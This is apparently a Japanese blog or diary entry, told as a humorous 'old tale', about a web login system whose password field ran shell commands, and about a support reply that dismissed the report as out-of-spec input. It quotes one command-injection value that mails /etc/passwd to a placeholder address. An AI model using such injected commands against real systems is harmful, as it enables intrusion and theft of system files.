ツッコミ

コメントをつける

今は昔、Web認証システムがありました。
男>パスワード欄に;mail foo@bar </etc/passwd; って入力すると_まんま実行される_のですが…!
サポ>パスワード欄に英数字以外を入力することは仕様に反します。サポート対象外です。
男> あほー! (-_-#) そういう問題かよ!

男はサポと話をしているのか詭弁家と話をしているのか判らなくなりました。

めでたくない昔話でした。

References:: [[セキュリティーホール発見]]

※ ブラウザキャッシュを持っていることが多く，投稿後なかなか日記には反映されませんので，強制リロードしてみてください
※ IEであれば"Clrl+F5"で強制リロードが行えます
※ 特定のリモートホストからの投稿は、認証画面が出ますので、ID及びパスワードに 'test' と入力してください。